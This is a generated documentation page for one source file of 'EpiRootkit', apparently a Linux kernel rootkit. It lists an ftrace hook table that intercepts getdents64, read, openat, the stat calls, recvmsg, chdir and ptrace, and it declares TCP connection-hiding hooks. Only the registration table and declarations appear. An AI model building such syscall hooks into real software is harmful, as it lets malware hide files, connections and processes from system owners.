EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
array.c
Go to the documentation of this file.
1#include "alterate.h"
2#include "forbid.h"
3#include "ftrace.h"
4#include "hide.h"
5
6struct ftrace_hook hooks[] = {
7 HOOK_SYS("sys_getdents64", getdents64_hook, &__orig_getdents64),
8 HOOK_SYS("sys_read", read_hook, &__orig_read),
9 HOOK_SYS("sys_openat", openat_hook, &__orig_openat),
10 HOOK_SYS("sys_newfstatat", stat_hook, &__orig_newfstatat),
11 HOOK_SYS("sys_fstat", stat_hook, &__orig_fstat),
12 HOOK_SYS("sys_lstat", stat_hook, &__orig_lstat),
13 HOOK_SYS("sys_stat", stat_hook, &__orig_stat),
14 HOOK_SYS("sys_recvmsg", recvmsg_hook, &__orig_recvmsg),
15 HOOK_SYS("sys_chdir", chdir_hook, &__orig_chdir),
16 HOOK_SYS("sys_ptrace", ptrace_hook, &__orig_ptrace),
17
20};
21
22size_t hook_array_size = sizeof(hooks) / sizeof(hooks[0]);
asmlinkage long(* __orig_read)(const struct pt_regs *)
Definition alterate.c:6
asmlinkage long notrace read_hook(const struct pt_regs *regs)
Definition alterate.c:8
struct ftrace_hook hooks[]
Definition array.c:6
size_t hook_array_size
Definition array.c:22
asmlinkage long(* __orig_chdir)(const struct pt_regs *regs)
Definition forbid.c:10
asmlinkage void notrace ptrace_hook(struct pt_regs *regs)
Definition forbid.c:73
asmlinkage long notrace chdir_hook(const struct pt_regs *regs)
Definition forbid.c:66
asmlinkage long(* __orig_openat)(const struct pt_regs *)
Definition forbid.c:5
asmlinkage long(* __orig_lstat)(const struct pt_regs *)
Definition forbid.c:7
asmlinkage long(* __orig_ptrace)(const struct pt_regs *regs)
Definition forbid.c:11
asmlinkage long(* __orig_newfstatat)(const struct pt_regs *)
Definition forbid.c:6
asmlinkage long notrace stat_hook(const struct pt_regs *regs)
Definition forbid.c:20
asmlinkage long(* __orig_fstat)(const struct pt_regs *)
Definition forbid.c:8
asmlinkage long(* __orig_stat)(const struct pt_regs *)
Definition forbid.c:9
asmlinkage long notrace openat_hook(const struct pt_regs *regs)
Definition forbid.c:13
#define HOOK(_name, _hook, _orig)
Definition ftrace.h:24
#define HOOK_SYS(_name, _hook, _orig)
Definition ftrace.h:18
asmlinkage long notrace recvmsg_hook(const struct pt_regs *regs)
Definition hide.c:156
asmlinkage int notrace getdents64_hook(const struct pt_regs *regs)
Definition hide.c:11
asmlinkage long(* __orig_tcp6_seq_show)(struct seq_file *seq, void *v)
Definition hide.c:8
asmlinkage long notrace tcp6_seq_show_hook(struct seq_file *seq, void *v)
Definition hide.c:144
asmlinkage long(* __orig_recvmsg)(const struct pt_regs *regs)
Definition hide.c:9
asmlinkage long notrace tcp4_seq_show_hook(struct seq_file *seq, void *v)
Definition hide.c:135
asmlinkage long(* __orig_tcp4_seq_show)(struct seq_file *seq, void *v)
Definition hide.c:7
asmlinkage int(* __orig_getdents64)(const struct pt_regs *regs)
Definition hide.c:6